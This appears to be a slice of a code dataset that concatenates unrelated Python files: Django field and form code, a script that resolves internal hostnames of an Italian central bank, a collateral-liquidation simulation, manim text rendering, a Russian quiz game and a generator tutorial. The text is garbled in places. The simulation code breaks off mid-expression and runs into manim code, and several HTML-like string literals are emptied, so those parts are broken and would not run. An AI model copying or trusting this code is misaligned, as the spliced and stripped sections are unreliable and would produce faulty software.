self.descriptor_class(self))\n\n def save_form_data(self, instance, data):\n # Important: None means \"no change\", other false value means \"clear\"\n # This subtle distinction (rather than a more explicit marker) is\n # needed because we need to consume values that are also sane for a\n # regular (non Model-) Form to find in its cleaned_data dictionary.\n if data is not None:\n # This value will be converted to unicode and stored in the\n # database, so leaving False as-is is not acceptable.\n if not data:\n data = ''\n setattr(instance, self.name, data)\n\n def formfield(self, **kwargs):\n defaults = {'form_class': forms.FileField, 'max_length': self.max_length}\n # If a file has been provided previously, then the form doesn't require\n # that a new file is provided this time.\n # The code to mark the form field as not required is used by\n # form_for_instance, but can probably be removed once form_for_instance\n # is gone. ModelForm uses a different method to check for an existing file.\n if 'initial' in kwargs:\n defaults['required'] = False\n defaults.update(kwargs)\n return super(ImageField, self).formfield(**defaults)\n\n\n","sub_path":"betty/cropped/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":9510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"481805901","text":"#!/usr/bin/python\n# -*- coding: iso-8859-1 -*-\n#\n# Scope: Programma per ...........\n# by Loreto Notarantonio 2013, February\n# ######################################################################################\n\n\nimport os, sys\nimport socket\n\n################################################################################\n# - M A I N\n# - Prevede:\n# - 2 - Controllo parametri di input\n# - 5 - Chiamata al programma principale del progetto\n################################################################################\ndef Main(gv, fDEBUG=True):\n logger = gv.Ln.SetLogger(package=__name__)\n C = gv.Ln.LnColor()\n\n inputFname = gv.INPUT_PARAM.INPUTFILE\n\n data = gv.Ln.readTextFile(inputFname, encoding='utf-8')\n serverList = []\n titleLine = ['Project', 'ENV', 'ServerName', 'IP-Addr']\n serverList.append(titleLine)\n for line in data:\n serverLine = []\n if not line.startswith('./'): continue\n line = line[1:].replace('/', ' ') # elimina il carattere di pathSep\n line = line.split('->')[0] # elimina eventuali ptr ai link\n token = line.split()\n prjName = token[0];\n serverLine.append(prjName)\n\n\n if fDEBUG: C.printCyan(line)\n if len(token) > 1:\n env = token[1].strip().lower()\n if env in ['svil', 'coll', 'cert', 'prod']:\n serverName = getServerFQN(token[3])\n ENV = env\n else:\n serverName = getServerFQN(token[1])\n ENV = '???'\n\n if serverName in ['Bdi-conf']:\n continue\n\n serverLine.append(ENV)\n serverLine.append(serverName)\n\n try:\n serverIpAddress = socket.gethostbyname(getServerFQN(serverName))\n except (Exception) as why:\n C.printERROR('[{0}]:server {1} will be skipped! {2}'.format(prjName, serverName, str(why)))\n serverIpAddress = 'unknown'\n\n serverLine.append(serverIpAddress)\n\n if fDEBUG: C.printYellow(serverLine, tab=4)\n serverList.append(serverLine)\n\n # ----------------------------------\n # - Scrittura del file di output\n # ----------------------------------\n outFname = '{0}_out.csv'.format(inputFname.split('.')[0])\n # writtenLines = gv.Ln.WriteTextFile(outFname, data=serverList)\n writtenLines = gv.Ln.WriteCSVFile(outFname, data=serverList)\n C.printYellow(\"il file: {0} è stato correttamente creato con {1} lines\".format(outFname, writtenLines))\n\n\n\n\nDomains = ['.webfarm.bancaditalia.it', '.utenze.bankit.it', '.ac.bankit.it']\ndef getServerFQN(serverShortName):\n serverName = serverShortName.strip()\n\n # - se ha già il dominio completo esci\n for domain in Domains:\n if domain in serverName:\n return serverName\n\n\n ServerFarmPrefix = ['sefal', 'wefal', 'anacl', 'soa3l',\n 'asbil', 'riadl', 'gurul', 'gestl',\n 'deasl', 'jbdcl', 'wfapl', 'pkial'\n ]\n\n WebFarmPrefix = ['wefal']\n\n FOUND = False\n for prefix in WebFarmPrefix:\n if prefix.lower() in serverName.lower():\n serverName += '.webfarm.bancaditalia.it'\n FOUND = True\n break\n\n if not FOUND:\n serverName = socket.getfqdn(serverName)\n\n return serverName","sub_path":"Source/Project/Main/ConvertTree.py","file_name":"ConvertTree.py","file_ext":"py","file_size_in_byte":3412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"444726102","text":"import collections\nimport json\nimport typing as tp\n\n\nfrom load_data_and_create_list_of_product_ids_opt import (\n load_data,\n create_list_of_product_ids,\n)\nfrom pairwise_counter_opt import PairwiseCounter\n\n\n@profile\ndef find_and_write_most_to_ocurring_product_in_file(product_ids, pairwise_counter):\n MAX_TOP_CANDIDATES: int = 10\n most_co_occurring_products: tp.Dict[str, tp.List[str]] = dict()\n\n for key_1 in product_ids[:100]:\n candidates: tp.List[tp.Tuple[str, float]] = []\n for key_2 in product_ids[:100]:\n if key_1 == key_2:\n continue\n\n pmi = pairwise_counter.calculate_pmi(key_1, key_2)\n if pmi is None:\n continue\n\n candidates.append((key_2, pmi))\n\n top_candidates = sorted(candidates, key=lambda p: p[1], reverse=True)[\n :MAX_TOP_CANDIDATES\n ]\n most_co_occurring_products[key_1] = [\n product_id for product_id, pmi in top_candidates\n ]\n\n with open(\"most_co_occurring_products_opt.txt\", \"w\") as outfile:\n json.dump(most_co_occurring_products, outfile)\n\n\nif __name__ == \"__main__\":\n pairwise_counter = load_data()\n product_ids = create_list_of_product_ids(pairwise_counter)\n find_and_write_most_to_ocurring_product_in_file(product_ids, pairwise_counter)\n","sub_path":"hw_2(industrial_development)/find_and_write_most_to_ocurring_product_in_file_opt.py","file_name":"find_and_write_most_to_ocurring_product_in_file_opt.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"286446205","text":"#forms for annoCental\nfrom django.forms import *\nimport settings\nfrom django.utils.safestring import mark_safe\nfrom django.utils.html import escape\n\nif settings.DEBUG:\n import pdb\n\nfrom annoCentral2.models import Questions, Questions_Choice\nfrom annoCentral2.fields import SplitDateField\nfrom annoCentral2.widgets import SplitDateWidget\n\nimport sys\n\ndef raw(str):\n escapeDict = {'\\r': r'\\r',\n '\\n': r'\\n'}\n rawStr = r''\n for char in str:\n if char in escapeDict:\n rawStr += escapeDict[char]\n else:\n rawStr += char\n return rawStr\n\ndef build_definition_html(definition):\n str = \"\"\n lines = definition.split(\"\\n\")\n for line in lines:\n str += \"\"\n return mark_safe(str)\n\nclass Form_Generator():\n \n def __init__(self, queryValueSet, project):\n self.queryValueSet = queryValueSet\n self.project = project\n \n def get_form(self, data):\n if data:\n dynForm = Form(data)\n else:\n dynForm = Form()\n for i,queryDict in enumerate(self.queryValueSet):\n fieldType = getattr(sys.modules[__name__], queryDict[\"fieldType\"])\n newField = \"question_%d\" % (i+1)\n dynForm.fields[newField] = fieldType()\n dynField = dynForm.fields[newField]\n for field,value in queryDict.items(): \n if field == 'required' and not value:\n setattr(dynField, field, False)\n elif value:\n# if field == 'choices':\n# value = self._get_choices(value)\n if field == 'widget':\n value = getattr(sys.modules[__name__], value)()\n elif field == 'initial':\n if isinstance(dynField, MultipleChoiceField):\n value = [x.strip() for x in value.split(\",\")]\n setattr(dynField, field, value)\n if 'widget_attrs' in queryDict:\n widget_attrs = queryDict['widget_attrs']\n if widget_attrs:\n self._set_widget_attrs(dynField.widget, queryDict['widget_attrs'])\n if \"class=definition\" in widget_attrs:\n html = mark_safe(\"%s [?]\" % (escape(queryDict['label']),escape(queryDict['definition'])))\n setattr(dynField, 'label', mark_safe(html))\n if queryDict[\"fieldType\"] in ['ChoiceField', 'TypedChoiceField', 'MultipleChoiceField']:\n choices = self._get_choices(queryDict['id'])\n setattr(dynField, 'choices', choices)\n \n return dynForm\n \n def _get_choices(self, questionid):\n question = Questions.objects.get(pk=questionid)\n choices = question.choices.filter(questions_choice__project=self.project)\n def returnChoiceOrder(choiceOrder, choiceID):\n return choiceOrder[choiceID]\n choiceOrder = {} #Order in which choices will be displayed\n for choice in choices:\n try:\n choiceOrder[choice.id] = Questions_Choice.objects.filter(question = questionid, choice = choice.id, project=self.project).get().choiceOrder\n except:\n choiceOrder[choice.id] = Questions_Choice.objects.filter(question = questionid, choice = choice.id, project=self.project)[0].choiceOrder\n choices = sorted(choices, key = lambda x: returnChoiceOrder(choiceOrder, x.id))\n choiceList = []\n for choice in choices:\n choiceList.append((choice.dbValue, choice.name))\n return choiceList\n \n def _set_widget_attrs(self, widget, widget_attrs):\n for attr in widget_attrs.split('|'):\n if attr:\n pair = attr.split('=')\n a, v = pair[0].strip(), pair[1].strip()\n if v in sys.modules[__name__].__dict__:\n setattr(widget,a,getattr(sys.modules[__name__], v))\n else:\n widget.attrs[a] = v \n \nclass HorizRadioRenderer(RadioSelect.renderer):\n \"\"\"Override vertical display to horizontal button display\"\"\"\n def render(self):\n return mark_safe(u'\\n'.join([u'%s\\n' % w for w in self]))\n\nclass KappaReport(Form):\n def __init__(self, annotators, questions, *args, **kwargs):\n super(KappaReport, self).__init__(*args, **kwargs)\n self.fields['annotators'] = ChoiceField(choices = annotators)\n self.fields['questions'] = ChoiceField(choices = questions) \n","sub_path":"GIanno/annoCentral2/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":4613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"621725583","text":"import numpy as np \nimport math \nimport matplotlib.pyplot as plt \nimport pandas as pd \n\nimport plotly.offline as py\n\nimport plotly.graph_objs as go\nfrom plotly.graph_objs import *\n\nimport numpy as np\nimport scipy.stats as stats\n\nimport plotly.express as px\n\nprint(\"Running simulations...\") \n\ndata_results = []\n\nmu_range = [-.5,-.4,-.3,-.2,-.1,0,.1,.2,.3,.4,.5]\nsigma_range = [.2,.4,.6,.8,1,1.2]\nmu = 0\nsigma = .8\nliquidation_penalty=13\ndebt_ceiling = 1.2e6\n\nfor mu in mu_range:\n #overall volatility \n #liqudation penalty\n for sigma in sigma_range:\n ##simulation length\n t=float(1)\n dt=float(1/365)\n ##\n\n ##number of simulations\n num_simulations = 100\n ##\n\n a=.55\n b=.8\n c=.138\n jump_probabilities = [a,(a+b),(a+b+c),100]\n jump_severities = [9.5,24.96,50,0]\n\n #time for price to recover from a crash (days)\n recovery_time=3 \n #the time after a crash before the recovery period starts (days)\n time_to_start_recovery = 3\n\n #liquidation threshold\n collateral_cutoff=1.5\n\n #the efficiency of the auction in which collateral is sold. 0 means full collateral sold, 1 means only amount equal to the debt sold. \n auction_efficiency = 0\n\n #the number of days before CDPs re-enter the debt pool after liquidation\n reentry_time=7\n\n result_array = [0 for i in range(num_simulations)]\n\n total_losses = []\n\n eth_price_record = {}\n\n for simulation in range(num_simulations):\n cdps = [\n {\"bucket\":1.65,\"collat\":1.65,\"debt\":1.5*debt_ceiling,\"open\":True,\"re_entry_clock\":0,\"reversion_time\":2},\n {\"bucket\":1.75,\"collat\":1.75,\"debt\":8.55*debt_ceiling,\"open\":True,\"re_entry_clock\":0,\"reversion_time\":2},\n {\"bucket\":2.00,\"collat\":2.00,\"debt\":12.04*debt_ceiling,\"open\":True,\"re_entry_clock\":0,\"reversion_time\":3},\n {\"bucket\":2.25,\"collat\":2.25,\"debt\":13.78*debt_ceiling,\"open\":True,\"re_entry_clock\":0,\"reversion_time\":3},\n {\"bucket\":2.5,\"collat\":2.5,\"debt\":12.07*debt_ceiling,\"open\":True,\"re_entry_clock\":0,\"reversion_time\":5},\n {\"bucket\":2.75,\"collat\":2.75,\"debt\":8.09*debt_ceiling,\"open\":True,\"re_entry_clock\":0,\"reversion_time\":5},\n {\"bucket\":3.25,\"collat\":3.25,\"debt\":11.54*debt_ceiling,\"open\":True,\"re_entry_clock\":0,\"reversion_time\":5},\n {\"bucket\":3.75,\"collat\":3.75,\"debt\":11.00*debt_ceiling,\"open\":True,\"re_entry_clock\":0,\"reversion_time\":7},\n {\"bucket\":4.25,\"collat\":4.25,\"debt\":9.54*debt_ceiling,\"open\":True,\"re_entry_clock\":0,\"reversion_time\":7},\n {\"bucket\":5.00,\"collat\":5.00,\"debt\":11.90*debt_ceiling,\"open\":True,\"re_entry_clock\":0,\"reversion_time\":10}\n ]\n x = [i for i in range(int(t/dt))]\n f = [0 for i in range(int(t/dt))]\n M = [0 for i in range(int(t/dt))]\n liquidated_debt = [0 for i in range(int(t/dt))]\n liquidated_collateral = [0 for i in range(int(t/dt))]\n undercollateralized_loss = [0 for i in range(int(t/dt))]\n undercollateralized_loss_perc = [0 for i in range(int(t/dt))]\n \n loss_gain = [0 for i in range(int(t/dt))] \n loss_gain_perc = [0 for i in range(int(t/dt))] \n\n slippage_loss = [0 for i in range(int(t/dt))]\n debt_supply = [sum([c[\"debt\"] for c in cdps]) for i in range(int(t/dt))]\n \n collateralizations = [{} for i in range(int(t/dt))]\n \n M[0]=100\n amount_to_recover = 0\n recovery_clock = 0\n clock_to_start_recovery = 0\n\n for time_step in range(1,int(t/dt)):\n \n jump_random = np.random.random()*100 \n jump_value = .01*jump_severities[min([jump_probabilities.index(j) for j in jump_probabilities if j>jump_random])]\n\n #if there is recovery to be made from a crash\n if recovery_clock>0: \n #if the n-day delay to start that recovery is still in effect\n if clock_to_start_recovery>0:\n #then resume normal GBM values\n f[time_step] = f[time_step-1]+math.sqrt(dt)*np.random.normal(0,1,1)\n M[time_step] = M[0]*math.exp((mu-(math.pow(sigma,2))/2)*(time_step*dt)+sigma*f[time_step]) \n\n #and decrement the clock to start the recovery\n clock_to_start_recovery-=1\n #otherwise, if the n-day delay to start the recovery has elapsed\n \n else:\n #then use the total amount to recover divded by the recovery time\n M[time_step] = M[time_step-1]+amount_to_recover/recovery_time\n f[time_step] = (math.log(M[time_step]/M[0])-(mu-(math.pow(sigma,2))/2)*(time_step*dt))/sigma \n #and decrement the recovery clock\n recovery_clock-=1\n #otherwise, if there is no recovery to be had\n else:\n #if the jump value has been triggered\n if jump_value>0:\n #then drop the function by 100% less the jump value\n \n M[time_step] = M[time_step-1]*(1-jump_value) \n f[time_step] = (math.log(M[time_step]/M[0])-(mu-(math.pow(sigma,2))/2)*(time_step*dt))/sigma\n\n #and set the recovery amount to be the positive value of the amount of the drop\n amount_to_recover = abs(M[time_step-1]-M[time_step])\n #set the recovery clock to be the recovery time parameter\n recovery_clock = recovery_time\n #set the clock to start the recovery to be the time to start recovery parameter\n clock_to_start_recovery = time_to_start_recovery \n #otherwise if no jump has been triggered\n else:\n #then use the normal GBM values\n f[time_step] = f[time_step-1]+math.sqrt(dt)*np.random.normal(0,1,1)\n M[time_step] = m_value = M[0]*math.exp((mu-(math.pow(sigma,2))/2)*(time_step*dt)+sigma*f[time_step]) \n \n #for every bucket in the CDP distribution\n for bucket in cdps: \n #the reversion time is defined within the bucket \n cdp_reversion_time = bucket[\"reversion_time\"]\n #the collateralization ratio is the present collateralization ratio,\n #modified by the most recent % change in asset price and \n #modified by the distance between the present collateralization ratio and the base state of the bucket (divided by the reversion time for that bucket)\n bucket[\"collat\"] = M[time_step]/M[time_step-1]*(bucket[\"collat\"]+(bucket[\"bucket\"]-bucket[\"collat\"])/cdp_reversion_time)\n #accrual of fees\n bucket[\"collat\"]=bucket[\"collat\"]*(1-0.00054794520547945)\n\n collateralizations[time_step][bucket[\"bucket\"]]=bucket[\"collat\"]\n\n #if the re-entry clock of the current CDP bucket is still counting\n if bucket[\"re_entry_clock\"]>0: \n #then decrement the clock\n bucket[\"re_entry_clock\"]-=1\n #if, after decrement, the clock is zero then\n if bucket[\"re_entry_clock\"]==0: \n #reset the collateralization ratio to be the baseline\n bucket[\"collat\"]=bucket[\"bucket\"]\n #set the bucket to be open again\n bucket[\"open\"]=True\n #otherwise, if the re-entry clock is finished\n elif bucket[\"collat\"]', '', content)\n with open(file_name, 'w') as fpw:\n fpw.write(content)\n\n def apply_space_chars(self):\n submobs = self.submobjects.copy()\n for char_index in range(len(self.text)):\n if self.text[char_index] in [\" \", \"\\t\", \"\\n\"]:\n space = Dot(radius=0, fill_opacity=0, stroke_opacity=0)\n space.move_to(submobs[max(char_index - 1, 0)].get_center())\n submobs.insert(char_index, space)\n self.set_submobjects(submobs)\n\n def find_indexes(self, word):\n m = re.match(r'\\[([0-9\\-]{0,}):([0-9\\-]{0,})\\]', word)\n if m:\n start = int(m.group(1)) if m.group(1) != '' else 0\n end = int(m.group(2)) if m.group(2) != '' else len(self.text)\n start = len(self.text) + start if start < 0 else start\n end = len(self.text) + end if end < 0 else end\n return [(start, end)]\n\n indexes = []\n index = self.text.find(word)\n while index != -1:\n indexes.append((index, index + len(word)))\n index = self.text.find(word, index + len(word))\n return indexes\n\n def get_parts_by_text(self, word):\n return VGroup(*(\n self[i:j]\n for i, j in self.find_indexes(word)\n ))\n\n def get_part_by_text(self, word):\n parts = self.get_parts_by_text(word)\n if len(parts) > 0:\n return parts[0]\n else:\n return None\n\n def full2short(self, config):\n for kwargs in [config, self.CONFIG]:\n if kwargs.__contains__('line_spacing_height'):\n kwargs['lsh'] = kwargs.pop('line_spacing_height')\n if kwargs.__contains__('text2color'):\n kwargs['t2c'] = kwargs.pop('text2color')\n if kwargs.__contains__('text2font'):\n kwargs['t2f'] = kwargs.pop('text2font')\n if kwargs.__contains__('text2gradient'):\n kwargs['t2g'] = kwargs.pop('text2gradient')\n if kwargs.__contains__('text2slant'):\n kwargs['t2s'] = kwargs.pop('text2slant')\n if kwargs.__contains__('text2weight'):\n kwargs['t2w'] = kwargs.pop('text2weight')\n\n def set_color_by_t2c(self, t2c=None):\n t2c = t2c if t2c else self.t2c\n for word, color in list(t2c.items()):\n for start, end in self.find_indexes(word):\n self[start:end].set_color(color)\n\n def set_color_by_t2g(self, t2g=None):\n t2g = t2g if t2g else self.t2g\n for word, gradient in list(t2g.items()):\n for start, end in self.find_indexes(word):\n self[start:end].set_color_by_gradient(*gradient)\n\n def text2hash(self):\n settings = self.font + self.slant + self.weight\n settings += str(self.t2f) + str(self.t2s) + str(self.t2w)\n settings += str(self.lsh) + str(self.font_size)\n id_str = self.text + settings\n hasher = hashlib.sha256()\n hasher.update(id_str.encode())\n return hasher.hexdigest()[:16]\n\n def text2settings(self):\n settings = []\n t2x = [self.t2f, self.t2s, self.t2w]\n for i in range(len(t2x)):\n fsw = [self.font, self.slant, self.weight]\n if t2x[i]:\n for word, x in list(t2x[i].items()):\n for start, end in self.find_indexes(word):\n fsw[i] = x\n settings.append(TextSetting(start, end, *fsw))\n\n # Set All text settings(default font slant weight)\n fsw = [self.font, self.slant, self.weight]\n settings.sort(key=lambda setting: setting.start)\n temp_settings = settings.copy()\n start = 0\n for setting in settings:\n if setting.start != start:\n temp_settings.append(TextSetting(start, setting.start, *fsw))\n start = setting.end\n if start != len(self.text):\n temp_settings.append(TextSetting(start, len(self.text), *fsw))\n settings = sorted(temp_settings, key=lambda setting: setting.start)\n\n if re.search(r'\\n', self.text):\n line_num = 0\n for start, end in self.find_indexes('\\n'):\n for setting in settings:\n if setting.line_num == -1:\n setting.line_num = line_num\n if start < setting.end:\n line_num += 1\n new_setting = copy.copy(setting)\n setting.end = end\n new_setting.start = end\n new_setting.line_num = line_num\n settings.append(new_setting)\n settings.sort(key=lambda setting: setting.start)\n break\n\n for setting in settings:\n if setting.line_num == -1:\n setting.line_num = 0\n\n return settings\n\n def text2svg(self):\n # anti-aliasing\n size = self.font_size\n lsh = self.lsh\n\n if self.font == '':\n self.font = get_customization()['style']['font']\n\n dir_name = get_text_dir()\n hash_name = self.text2hash()\n file_name = os.path.join(dir_name, hash_name) + '.svg'\n if os.path.exists(file_name):\n return file_name\n settings = self.text2settings()\n width = DEFAULT_PIXEL_WIDTH\n height = DEFAULT_PIXEL_HEIGHT\n disable_liga = self.disable_ligatures\n return manimpango.text2svg(\n settings,\n size,\n lsh,\n disable_liga,\n file_name,\n START_X,\n START_Y,\n width,\n height,\n self.text,\n )\n\n\nclass MarkupText(SVGMobject):\n CONFIG = {\n # Mobject\n \"color\": WHITE,\n \"height\": None,\n # Text\n \"font\": '',\n \"font_size\": 48,\n \"lsh\": None,\n \"justify\": False,\n \"slant\": NORMAL,\n \"weight\": NORMAL,\n \"tab_width\": 4,\n \"gradient\": None,\n \"disable_ligatures\": True,\n }\n def __init__(self, text, **config):\n digest_config(self, config)\n self.text = f'{text}'\n self.original_text = self.text\n self.text_for_parsing = self.text\n text_without_tabs = text\n if \"\\t\" in text:\n text_without_tabs = text.replace(\"\\t\", \" \" * self.tab_width)\n try:\n colormap = self.extract_color_tags()\n gradientmap = self.extract_gradient_tags()\n except ET.ParseError:\n # let pango handle that error\n pass\n validate_error = MarkupUtils.validate(self.text)\n if validate_error:\n raise ValueError(validate_error)\n file_name = self.text2svg()\n PangoUtils.remove_last_M(file_name)\n super().__init__(\n file_name,\n **config,\n )\n self.chars = self.get_group_class()(*self.submobjects)\n self.text = text_without_tabs.replace(\" \", \"\").replace(\"\\n\", \"\")\n if self.gradient:\n self.set_color_by_gradient(*self.gradient)\n for col in colormap:\n self.chars[\n col[\"start\"]\n - col[\"start_offset\"] : col[\"end\"]\n - col[\"start_offset\"]\n - col[\"end_offset\"]\n ].set_color(self._parse_color(col[\"color\"]))\n for grad in gradientmap:\n self.chars[\n grad[\"start\"]\n - grad[\"start_offset\"] : grad[\"end\"]\n - grad[\"start_offset\"]\n - grad[\"end_offset\"]\n ].set_color_by_gradient(\n *(self._parse_color(grad[\"from\"]), self._parse_color(grad[\"to\"]))\n )\n # anti-aliasing\n if self.height is None:\n self.scale(TEXT_MOB_SCALE_FACTOR)\n def text2hash(self):\n \"\"\"Generates ``sha256`` hash for file name.\"\"\"\n settings = (\n \"MARKUPPANGO\" + self.font + self.slant + self.weight + self.color\n ) # to differentiate from classical Pango Text\n settings += str(self.lsh) + str(self.font_size)\n settings += str(self.disable_ligatures)\n settings += str(self.justify)\n id_str = self.text + settings\n hasher = hashlib.sha256()\n hasher.update(id_str.encode())\n return hasher.hexdigest()[:16]\n \n def text2svg(self):\n \"\"\"Convert the text to SVG using Pango.\"\"\"\n size = self.font_size\n dir_name = get_text_dir()\n disable_liga = self.disable_ligatures\n if not os.path.exists(dir_name):\n os.makedirs(dir_name)\n hash_name = self.text2hash()\n file_name = os.path.join(dir_name, hash_name) + \".svg\"\n if os.path.exists(file_name):\n return file_name\n\n extra_kwargs = {}\n extra_kwargs['justify'] = self.justify\n extra_kwargs['pango_width'] = DEFAULT_PIXEL_WIDTH - 100\n if self.lsh:\n extra_kwargs['line_spacing']=self.lsh\n return MarkupUtils.text2svg(\n f'{self.text}',\n self.font,\n self.slant,\n self.weight,\n size,\n 0, # empty parameter\n disable_liga,\n file_name,\n START_X,\n START_Y,\n DEFAULT_PIXEL_WIDTH, # width\n DEFAULT_PIXEL_HEIGHT, # height\n **extra_kwargs\n )\n\n\n def _parse_color(self, col):\n \"\"\"Parse color given in ```` or ```` tags.\"\"\"\n if re.match(\"#[0-9a-f]{6}\", col):\n return col\n else:\n return globals()[col.upper()] # this is hacky\n\n @functools.lru_cache(10)\n def get_text_from_markup(self, element=None):\n if not element:\n element = ET.fromstring(self.text_for_parsing)\n final_text = ''\n for i in element.itertext():\n final_text += i\n return final_text\n\n def extract_color_tags(self, text=None, colormap = None):\n \"\"\"Used to determine which parts (if any) of the string should be formatted\n with a custom color.\n Removes the ```` tag, as it is not part of Pango's markup and would cause an error.\n Note: Using the ```` tags is deprecated. As soon as the legacy syntax is gone, this function\n will be removed.\n \"\"\"\n if not text:\n text = self.text_for_parsing\n if not colormap:\n colormap = list()\n elements = ET.fromstring(text)\n text_from_markup = self.get_text_from_markup()\n final_xml = ET.fromstring(f'{elements.text if elements.text else \"\"}')\n def get_color_map(elements):\n for element in elements:\n if element.tag == 'color':\n element_text = self.get_text_from_markup(element)\n start = text_from_markup.find(element_text)\n end = start + len(element_text)\n offsets = element.get('offset').split(\",\") if element.get('offset') else [0]\n start_offset = int(offsets[0]) if offsets[0] else 0\n end_offset = int(offsets[1]) if len(offsets) == 2 and offsets[1] else 0\n colormap.append(\n {\n \"start\": start,\n \"end\": end,\n \"color\": element.get('col'),\n \"start_offset\": start_offset,\n \"end_offset\": end_offset,\n }\n )\n \n _elements_list = list(element.iter())\n if len(_elements_list) <= 1:\n final_xml.append(ET.fromstring(f'{element.text if element.text else \"\"}'))\n else:\n final_xml.append(_elements_list[-1])\n else:\n if len(list(element.iter())) == 1:\n final_xml.append(element)\n else:\n get_color_map(element)\n get_color_map(elements)\n with io.BytesIO() as f:\n tree = ET.ElementTree() \n tree._setroot(final_xml)\n tree.write(f)\n self.text = f.getvalue().decode()\n self.text_for_parsing = self.text # gradients will use it\n return colormap\n\n def extract_gradient_tags(self, text=None,gradientmap=None):\n \"\"\"Used to determine which parts (if any) of the string should be formatted\n with a gradient.\n Removes the ```` tag, as it is not part of Pango's markup and would cause an error.\n \"\"\"\n if not text:\n text = self.text_for_parsing\n if not gradientmap:\n gradientmap = list()\n\n elements = ET.fromstring(text)\n text_from_markup = self.get_text_from_markup()\n final_xml = ET.fromstring(f'{elements.text if elements.text else \"\"}')\n def get_gradient_map(elements):\n for element in elements:\n if element.tag == 'gradient':\n element_text = self.get_text_from_markup(element)\n start = text_from_markup.find(element_text)\n end = start + len(element_text)\n offsets = element.get('offset').split(\",\") if element.get('offset') else [0]\n start_offset = int(offsets[0]) if offsets[0] else 0\n end_offset = int(offsets[1]) if len(offsets) == 2 and offsets[1] else 0\n gradientmap.append(\n {\n \"start\": start,\n \"end\": end,\n \"from\": element.get('from'),\n \"to\": element.get('to'),\n \"start_offset\": start_offset,\n \"end_offset\": end_offset,\n }\n )\n _elements_list = list(element.iter())\n if len(_elements_list) == 1:\n final_xml.append(ET.fromstring(f'{element.text if element.text else \"\"}'))\n else:\n final_xml.append(_elements_list[-1])\n else:\n if len(list(element.iter())) == 1:\n final_xml.append(element)\n else:\n get_gradient_map(element)\n get_gradient_map(elements)\n with io.BytesIO() as f:\n tree = ET.ElementTree() \n tree._setroot(final_xml)\n tree.write(f)\n self.text = f.getvalue().decode()\n\n return gradientmap\n\n def __repr__(self):\n return f\"MarkupText({repr(self.original_text)})\"\n\n@contextmanager\ndef register_font(font_file: typing.Union[str, Path]):\n \"\"\"Temporarily add a font file to Pango's search path.\n This searches for the font_file at various places. The order it searches it described below.\n 1. Absolute path.\n 2. Downloads dir.\n\n Parameters\n ----------\n font_file :\n The font file to add.\n Examples\n --------\n Use ``with register_font(...)`` to add a font file to search\n path.\n .. code-block:: python\n with register_font(\"path/to/font_file.ttf\"):\n a = Text(\"Hello\", font=\"Custom Font Name\")\n Raises\n ------\n FileNotFoundError:\n If the font doesn't exists.\n AttributeError:\n If this method is used on macOS.\n Notes\n -----\n This method of adding font files also works with :class:`CairoText`.\n .. important ::\n This method is available for macOS for ``ManimPango>=v0.2.3``. Using this\n method with previous releases will raise an :class:`AttributeError` on macOS.\n \"\"\"\n\n input_folder = Path(get_downloads_dir()).parent.resolve()\n possible_paths = [\n Path(font_file),\n input_folder / font_file,\n ]\n for path in possible_paths:\n path = path.resolve()\n if path.exists():\n file_path = path\n break\n else:\n error = f\"Can't find {font_file}.\" f\"Tried these : {possible_paths}\"\n raise FileNotFoundError(error)\n\n try:\n assert manimpango.register_font(str(file_path))\n yield\n finally:\n manimpango.unregister_font(str(file_path))\n","sub_path":"manimlib/mobject/svg/text_mobject.py","file_name":"text_mobject.py","file_ext":"py","file_size_in_byte":19084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"529387289","text":"# -*- coding: utf-8 -*-\r\n\r\nimport sys\r\n\r\nif sys.version_info[0] == 2:\r\n input_function = raw_input\r\nelse:\r\n input_function = input\r\n\r\nriddles = {'Все элементы в Python есть - ':'объект','Год выхода Python 2.7':'2010','Есть ли цикл do-while в Python (да/нет)':'нет','К сети какого класса относится IP-адрес вида 192.168.1.1 (a/b/c)':'c','Какому числу в десятичной системе счисления равно данное число в двоичной: 01001001':'73','Перебирающий итератор в Python':'for','Вычислите значение выражения: 17+5·6:3+2+4:2':'31'}\r\n\r\nprint ('\\n\\nДавай сыграем с тобой в игру...')\r\n\r\nincorrAnswers = 0\r\ntotalCorrAnswers = 0\r\ni=0\r\n\r\nwhile i<3:\r\n\tcorrAnswers = 0\r\n\ti+=1\r\n\tprint ('\\n\\nПопытка %s/3.\\n' % (i)) \r\n\t\r\n\tfor rid in riddles:\r\n\t\tprint ('\\n'+rid)\r\n\t\ta = input_function('Введи правильный ответ: ').lower()\r\n\t\tif a == riddles[rid]:\r\n\t\t\tcorrAnswers += 1\r\n\t\telse:\r\n\t\t\tprint ('Неправильно... \\n')\r\n\t\t\tincorrAnswers += 1\r\n\t\t\t\r\n\ttotalCorrAnswers += corrAnswers\r\n\r\n\tif corrAnswers==len(riddles):\r\n\t\tprint ('\\nТы выиграл!\\n\\nНеправильных ответов за всю игру: %s' % (incorrAnswers))\r\n\t\tbreak;\r\n\t'''else:\r\n\t\tprint ('\\n\\tТы проиграл!')'''\r\n\t\t\r\nelse:\r\n\tprint('Попыток больше не осталось.\\n\\n \\\r\n\tGAME OVER \\\r\n\t\\n\\nПравильных ответов за всю игру: %s \\nНеправильных ответов за всю игру: %s ' % (totalCorrAnswers, incorrAnswers))\r\n\t\r\n\t\r\ninput_function('\\n\\npress any key to exit')","sub_path":"riddles_.py","file_name":"riddles_.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"179951408","text":"#生成式: 表达式 for i in 数组 if 判断\nd = {'x':'A','y':'B','z':'C'}\nL = ['Hello', 'World', 18, 'Apple', None]\n\nprint(list(x * x for x in range(1,26) if x % 5 ==0))\nprint(list(m + n for m in 'ABC' for n in 'XYZ'))\nprint([k+'='+v for k,v in d.items()])\nprint(list(s.lower() for s in L if isinstance(s,str)))\n\n'''\ngenerator是一个特殊的list,它的优点在于一边计算一边使用,这样可以避免内存占用和程序规模太大的问题\ngenerator是可以迭代的,一般不适用next去输出,而是使用for循环进行迭代\n'''\ng = (x * x for x in 